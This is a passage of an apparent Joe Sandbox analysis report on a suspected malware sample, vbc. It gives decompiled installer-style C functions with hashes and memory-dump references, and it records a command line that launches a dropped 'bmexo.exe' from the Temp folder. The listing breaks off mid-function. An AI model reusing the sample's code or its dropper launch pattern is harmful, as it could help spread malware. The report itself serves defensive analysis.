Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya
API String ID: 2624150263-3100334898
Opcode ID: 1c3e24ea3c91ff4ce813832bee9d1a6c89b271b1ee61e594e0d9cbeb6062d674
Instruction ID: 4ef08ca0e285fb36132dd1072a135484aded6f5102cec428142970bb06395e88
Opcode Fuzzy Hash: 1c3e24ea3c91ff4ce813832bee9d1a6c89b271b1ee61e594e0d9cbeb6062d674
Instruction Fuzzy Hash: 77A182B1901209ABEB11AFA5CD45AEF77B9EF84314F11803BF601B62D1DB7C89418B69

Uniqueness

Uniqueness Score: -1.00%

Function 004021AA Relevance: 1.6, APIs: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021AA() {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405FB4( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402DA6(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, 0x7b4000);
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021b3
0x004021bd
0x004021c7
0x004021d1
0x004021dc
0x004021df
0x004021f9
0x004021fc
0x00402202
0x00402205
0x0040220f
0x00402213
0x00402213
0x00402218
0x00402229
0x00402231
0x004022e8
0x004022e8
0x004022ef
0x00402237
0x00402237
0x00402246
0x0040224a
0x0040224d
0x00402253
0x00402261
0x00402264
0x00402266
0x00402271
0x00402271
0x00402276
0x00402278
0x0040227f
0x0040227f
0x00402282
0x0040228b
0x0040228e
0x00402294
0x00402296
0x004022a0
0x004022a0
0x004022a3
0x004022ac
0x004022af
0x004022b8
0x004022be
0x004022c0
0x004022ce
0x004022ce
0x004022d1
0x004022d7
0x004022d7
0x004022da
0x004022e0
0x004022e6
0x004022fb
0x00000000
0x00000000
0x00000000
0x004022e6
0x004022f1
0x00402c2d
0x00402c39

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?), ref: 00402229

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 95206bf645e1c446277479694b40913283949515a1362953c4f2174f782b348b
Instruction ID: c9e7058f2ccac2017f9d88f2873359e197591af4de9cbf84fabb751e216ccc72
Opcode Fuzzy Hash: 95206bf645e1c446277479694b40913283949515a1362953c4f2174f782b348b
Instruction Fuzzy Hash: A1411571A00209EFCF40DFE4C989E9D7BB5BF49304B2045AAF505EB2D1DB799981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040290B Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040290B(short __ebx, short* __edi) {
				void* _t21;

				if(FindFirstFileW(E00402DA6(2), _t21 - 0x2dc) != 0xffffffff) {
					E004065B5( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2b0);
					_push(__edi);
					E0040666E();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__edi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x7a8b28 =  *0x7a8b28 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x00402923
0x0040293e
0x00402949
0x0040294a
0x00402a94
0x00402925
0x00402928
0x0040292b
0x0040292e
0x0040292e
0x00402c2d
0x00402c39

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291A

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 886e1da82f87bd9a052d385c947725ec3f25a605ee36621127924a1c8a89904e
Instruction ID: 9ced82c77f1422a0303d0e50afa4302c42ae01a582b6fde34da312f05d76664a
Opcode Fuzzy Hash: 886e1da82f87bd9a052d385c947725ec3f25a605ee36621127924a1c8a89904e
Instruction Fuzzy Hash: 5CF05E71904104EAD701DBA4E949AAEB378EF15314F20457BE101F21D0EBB88E119B29

Uniqueness

Uniqueness Score: -1.00%

Function 00405037 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00405037(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t198;
				intOrPtr _t201;
				long _t207;
				signed int _t211;
				signed int _t222;
				void* _t225;
				void* _t226;
				int _t232;
				long _t237;
				long _t238;
				signed int _t239;
				signed int _t245;
				signed int _t247;
				signed char _t248;
				signed char _t254;
				void* _t258;
				void* _t260;
				signed char* _t278;
				signed char _t279;
				long _t284;
				struct HWND__* _t291;
				signed int* _t292;
				int _t293;
				long _t294;
				signed int _t295;
				void* _t297;
				long _t298;
				int _t299;
				signed int _t300;
				signed int _t303;
				signed int _t311;
				signed char* _t319;
				int _t324;
				void* _t326;

				_t291 = _a4;
				_v12 = GetDlgItem(_t291, 0x3f9);
				_v8 = GetDlgItem(_t291, 0x408);
				_t326 = SendMessageW;
				_v24 =  *0x7a8ac8;
				_v28 =  *0x7a8ab0 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t301 = _a16;
					} else {
						_a12 = 0;
						_t301 = 1;
						_a8 = 0x40f;
						_a16 = 1;
					}
					if(_a8 == 0x4e || _a8 == 0x413) {
						_v16 = _t301;
						if(_a8 == 0x413 ||  *((intOrPtr*)(_t301 + 4)) == 0x408) {
							if(( *0x7a8ab9 & 0x00000002) != 0) {
								L41:
								if(_v16 != 0) {
									_t237 = _v16;
									if( *((intOrPtr*)(_t237 + 8)) == 0xfffffe3d) {
										SendMessageW(_v8, 0x419, 0,  *(_t237 + 0x5c));
									}
									_t238 = _v16;
									if( *((intOrPtr*)(_t238 + 8)) == 0xfffffe39) {
										_t301 = _v24;
										_t239 =  *(_t238 + 0x5c);
										if( *((intOrPtr*)(_t238 + 0xc)) != 2) {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) & 0xffffffdf;
										} else {
											 *(_t239 * 0x818 + _t301 + 8) =  *(_t239 * 0x818 + _t301 + 8) | 0x00000020;
										}
									}
								}
								goto L48;
							}
							if(_a8 == 0x413) {
								L33:
								_t301 = 0 | _a8 != 0x00000413;
								_t245 = E00404F85(_v8, _a8 != 0x413);
								_t295 = _t245;
								if(_t295 >= 0) {
									_t94 = _v24 + 8; // 0x8
									_t301 = _t245 * 0x818 + _t94;
									_t247 =  *_t301;
									if((_t247 & 0x00000010) == 0) {
										if((_t247 & 0x00000040) == 0) {
											_t248 = _t247 ^ 0x00000001;
										} else {
											_t254 = _t247 ^ 0x00000080;
											if(_t254 >= 0) {
												_t248 = _t254 & 0x000000fe;
											} else {
												_t248 = _t254 | 0x00000001;
											}
										}
										 *_t301 = _t248;
										E0040117D(_t295);
										_a12 = _t295 + 1;
										_a16 =  !( *0x7a8ab8) >> 0x00000008 & 0x00000001;
										_a8 = 0x40f;
									}
								}
								goto L41;
							}
							_t301 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageW(_v8, 0x200, 0, 0);
							}
							if(_a8 == 0x40b) {
								_t225 =  *0x7a1f6c;
								if(_t225 != 0) {
									ImageList_Destroy(_t225);
								}
								_t226 =  *0x7a1f80;
								if(_t226 != 0) {
									GlobalFree(_t226);
								}
								 *0x7a1f6c = 0;
								 *0x7a1f80 = 0;
								 *0x7a8b00 = 0;
							}
							if(_a8 != 0x40f) {
								L90:
								if(_a8 == 0x420 && ( *0x7a8ab9 & 0x00000001) != 0) {
									_t324 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t324);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t324);
								}
								goto L93;
							} else {
								E004011EF(_t301, 0, 0);
								_t198 = _a12;
								if(_t198 != 0) {
									if(_t198 != 0xffffffff) {
										_t198 = _t198 - 1;
									}
									_push(_t198);
									_push(8);
									E00405005();
								}
								if(_a16 == 0) {
									L75:
									E004011EF(_t301, 0, 0);
									_v36 =  *0x7a1f80;
									_t201 =  *0x7a8ac8;
									_v64 = 0xf030;
									_v24 = 0;
									if( *0x7a8acc <= 0) {
										L86:
										if( *0x7a8b5e == 0x400) {
											InvalidateRect(_v8, 0, 1);
										}
										if( *((intOrPtr*)( *0x7a7a7c + 0x10)) != 0) {
											E00404F40(0x3ff, 0xfffffffb, E00404F58(5));
										}
										goto L90;
									}
									_t292 = _t201 + 8;
									do {
										_t207 =  *((intOrPtr*)(_v36 + _v24 * 4));
										if(_t207 != 0) {
											_t303 =  *_t292;
											_v72 = _t207;
											_v76 = 8;
											if((_t303 & 0x00000001) != 0) {
												_v76 = 9;
												_v60 =  &(_t292[4]);
												_t292[0] = _t292[0] & 0x000000fe;
											}
											if((_t303 & 0x00000040) == 0) {
												_t211 = (_t303 & 0x00000001) + 1;
												if((_t303 & 0x00000010) != 0) {
													_t211 = _t211 + 3;
												}
											} else {
												_t211 = 3;
											}
											_v68 = (_t211 << 0x0000000b | _t303 & 0x00000008) + (_t211 << 0x0000000b | _t303 & 0x00000008) | _t303 & 0x00000020;
											SendMessageW(_v8, 0x1102, (_t303 >> 0x00000005 & 0x00000001) + 1, _v72);
											SendMessageW(_v8, 0x113f, 0,  &_v76);
										}
										_v24 = _v24 + 1;
										_t292 =  &(_t292[0x206]);
									} while (_v24 <  *0x7a8acc);
									goto L86;
								} else {
									_t293 = E004012E2( *0x7a1f80);
									E00401299(_t293);
									_t222 = 0;
									_t301 = 0;
									if(_t293 <= 0) {
										L74:
										SendMessageW(_v12, 0x14e, _t301, 0);
										_a16 = _t293;
										_a8 = 0x420;
										goto L75;
									} else {
										goto L71;
									}
									do {
										L71:
										if( *((intOrPtr*)(_v28 + _t222 * 4)) != 0) {
											_t301 = _t301 + 1;
										}
										_t222 = _t222 + 1;
									} while (_t222 < _t293);
									goto L74;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L93;
						} else {
							_t232 = SendMessageW(_v12, 0x147, 0, 0);
							if(_t232 == 0xffffffff) {
								goto L93;
							}
							_t294 = SendMessageW(_v12, 0x150, _t232, 0);
							if(_t294 == 0xffffffff ||  *((intOrPtr*)(_v28 + _t294 * 4)) == 0) {
								_t294 = 0x20;
							}
							E00401299(_t294);
							SendMessageW(_a4, 0x420, 0, _t294);
							_a12 = _a12 | 0xffffffff;
							_a16 = 0;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					_v36 = 0;
					_v20 = 2;
					 *0x7a8b00 = _t291;
					 *0x7a1f80 = GlobalAlloc(0x40,  *0x7a8acc << 2);
					_t258 = LoadImageW( *0x7a8aa0, 0x6e, 0, 0, 0, 0);
					 *0x7a1f74 =  *0x7a1f74 | 0xffffffff;
					_t297 = _t258;
					 *0x7a1f7c = SetWindowLongW(_v8, 0xfffffffc, E00405644);
					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x7a1f6c = _t260;
					ImageList_AddMasked(_t260, _t297, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x7a1f6c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t297);
					_t298 = 0;
					do {
						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
							if(_t298 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E004066AB(_t298, 0, _t326, 0, _t266)), _t298);
						}
						_t298 = _t298 + 1;
					} while (_t298 < 0x21);
					_t299 = _a16;
					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
					_push(0x15);
					E004045CA(_a4);
					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
					_push(0x16);
					E004045CA(_a4);
					_t300 = 0;
					_v16 = 0;
					if( *0x7a8acc <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t319 = _v24 + 8;
						_v32 = _t319;
						do {
							_t278 =  &(_t319[0x10]);
							if( *_t278 != 0) {
								_v64 = _t278;
								_t279 =  *_t319;
								_v88 = _v16;
								_t311 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t311;
								_v44 = _t300;
								_v72 = _t279 & _t311;
								if((_t279 & 0x00000002) == 0) {
									if((_t279 & 0x00000004) == 0) {
										 *( *0x7a1f80 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v36 = 1;
									 *( *0x7a1f80 + _t300 * 4) = _t284;
									_v16 =  *( *0x7a1f80 + _t300 * 4);
								}
							}
							_t300 = _t300 + 1;
							_t319 =  &(_v32[0x818]);
							_v32 = _t319;
						} while (_t300 <  *0x7a8acc);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E004045FF(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E004045FF(_v12);
								L93:
								return E00404631(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x0040503e
0x00405057
0x0040505c
0x00405064
0x0040506a
0x00405080
0x00405083
0x004052ae
0x004052b5
0x004052c9
0x004052b7
0x004052b9
0x004052bc
0x004052bd
0x004052c4
0x004052c4
0x004052d5
0x004052e3
0x004052e6
0x004052fc
0x00405371
0x00405374
0x00405376
0x00405380
0x0040538e
0x0040538e
0x00405390
0x0040539a
0x004053a0
0x004053a3
0x004053a6
0x004053c1
0x004053a8
0x004053b2
0x004053b2
0x004053a6
0x0040539a
0x00000000
0x00405374
0x00405301
0x0040530c
0x00405311
0x00405318
0x0040531d
0x00405321
0x0040532c
0x0040532c
0x00405330
0x00405334
0x00405338
0x0040534b
0x0040533a
0x0040533a
0x00405341
0x00405347
0x00405343
0x00405343
0x00405343
0x00405341
0x0040534f
0x00405351
0x00405364
0x00405367
0x0040536a
0x0040536a
0x00405334
0x00000000
0x00405321
0x00405303
0x0040530a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004053c4
0x004053c4
0x004053cb
0x0040543c
0x00405444
0x0040544c
0x0040544c
0x00405455
0x00405457
0x0040545e
0x00405461
0x00405461
0x00405467
0x0040546e
0x00405471
0x00405471
0x00405477
0x0040547d
0x00405483
0x00405483
0x00405490
0x004055f1
0x004055f8
0x00405615
0x0040561b
0x0040562d
0x0040562d
0x00000000
0x00405496
0x00405498
0x0040549d
0x004054a2
0x004054a7
0x004054a9
0x004054a9
0x004054aa
0x004054ab
0x004054ad
0x004054ad
0x004054b5
0x004054f6
0x004054f8
0x00405508
0x0040550b
0x00405510
0x00405517
0x0040551a
0x004055bc
0x004055c5
0x004055cd
0x004055cd
0x004055db
0x004055ec
0x004055ec
0x00000000
0x004055db
0x00405520
0x00405523
0x00405529
0x0040552e
0x00405530
0x00405532
0x00405538
0x0040553f
0x00405544
0x0040554b
0x0040554e
0x0040554e
0x00405555
0x00405561
0x00405565
0x00405567
0x00405567
0x00405557
0x00405559
0x00405559
0x00405587
0x00405593
0x004055a2
0x004055a2
0x004055a4
0x004055a7
0x004055b0
0x00000000
0x004054b7
0x004054c2
0x004054c5
0x004054ca
0x004054cc
0x004054d0
0x004054e0
0x004054ea
0x004054ec
0x004054ef
0x00000000
0x00000000
0x00000000
0x00000000
0x004054d2
0x004054d2
0x004054d8
0x004054da
0x004054da
0x004054db
0x004054dc
0x00000000
0x004054d2
0x004054b5
0x00405490
0x004053d3
0x00000000
0x004053e9
0x004053f3
0x004053f8
0x00000000
0x00000000
0x0040540a
0x0040540f
0x0040541b
0x0040541b
0x0040541d
0x0040542c
0x0040542e
0x00405432
0x00405435
0x00000000
0x00405435
0x004053d3
0x00405089
0x0040508e
0x00405097
0x0040509e
0x004050b0
0x004050bb
0x004050c1
0x004050cf
0x004050e3
0x004050e8
0x004050f5
0x004050fa
0x00405110
0x00405121
0x0040512e
0x0040512e
0x00405131
0x00405137
0x00405139
0x0040513c
0x00405141
0x00405146
0x00405148
0x00405148
0x00405168
0x00405168
0x0040516a
0x0040516b
0x00405170
0x00405176
0x0040517a
0x0040517f
0x00405187
0x0040518b
0x00405190
0x00405195
0x0040519d
0x004051a0
0x00405270
0x00405283
0x00000000
0x004051a6
0x004051a9
0x004051ac
0x004051af
0x004051af
0x004051b5
0x004051be
0x004051c1
0x004051c5
0x004051c8
0x004051cb
0x004051d4
0x004051dd
0x004051e0
0x004051e3
0x004051e6
0x00405224
0x0040524f
0x00405226
0x00405235
0x00405235
0x004051e8
0x004051eb
0x004051f9
0x00405203
0x0040520b
0x00405212
0x0040521d
0x0040521d
0x004051e6
0x00405255
0x00405256
0x00405262
0x00405262
0x0040526e
0x00405289
0x0040528c
0x004052a9
0x00000000
0x0040528e
0x00405293
0x0040529c
0x0040562f
0x00405641
0x00405641
0x0040528c
0x00000000
0x0040526e
0x004051a0

APIs

GetDlgItem.USER32(?,000003F9), ref: 0040504F
GetDlgItem.USER32(?,00000408), ref: 0040505A
GlobalAlloc.KERNEL32(00000040,?), ref: 004050A4
LoadImageW.USER32 ref: 004050BB
SetWindowLongW.USER32 ref: 004050D4
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004050E8
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004050FA
SendMessageW.USER32(?,00001109,00000002), ref: 00405110
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 0040511C
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040512E
DeleteObject.GDI32(00000000), ref: 00405131
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040515C
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405168
SendMessageW.USER32(?,00001132,00000000,?), ref: 00405203
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405233

Part of subcall function 004045FF: SendMessageW.USER32(00000028,?,00000001,0040442A), ref: 0040460D

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405247
GetWindowLongW.USER32(?,000000F0), ref: 00405275
SetWindowLongW.USER32 ref: 00405283
ShowWindow.USER32(?,00000005), ref: 00405293
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040538E
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004053F3
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405408
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 0040542C
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 0040544C
ImageList_Destroy.COMCTL32(?), ref: 00405461
GlobalFree.KERNEL32(?), ref: 00405471
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004054EA
SendMessageW.USER32(?,00001102,?,?), ref: 00405593
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004055A2
InvalidateRect.USER32(?,00000000,00000001), ref: 004055CD
ShowWindow.USER32(?,00000000), ref: 0040561B
GetDlgItem.USER32(?,000003FE), ref: 00405626
ShowWindow.USER32(00000000), ref: 0040562D

Strings

N, xrefs: 004052CC
, xrefs: 00405605
M, xrefs: 004051EB

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 6abe7a227f943e402f923de28771de89d858ca3350371f72f3cd38ce524b5995
Instruction ID: 1c888212402988323542b136e78769e30209d338b2ecbb40b03ff66d659fa363
Opcode Fuzzy Hash: 6abe7a227f943e402f923de28771de89d858ca3350371f72f3cd38ce524b5995
Instruction Fuzzy Hash: 25027A70900609EFDB20DFA5CD85AAF7BB5FB85314F10812AF611BA2E1DB798951CF18

Uniqueness

Uniqueness Score: -1.00%

Function 00404789 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404789(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				char _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x79ff54 =  *0x79ff54 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E00404631(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x7a6a40;
							if(_t103 - _t113 < 0x800) {
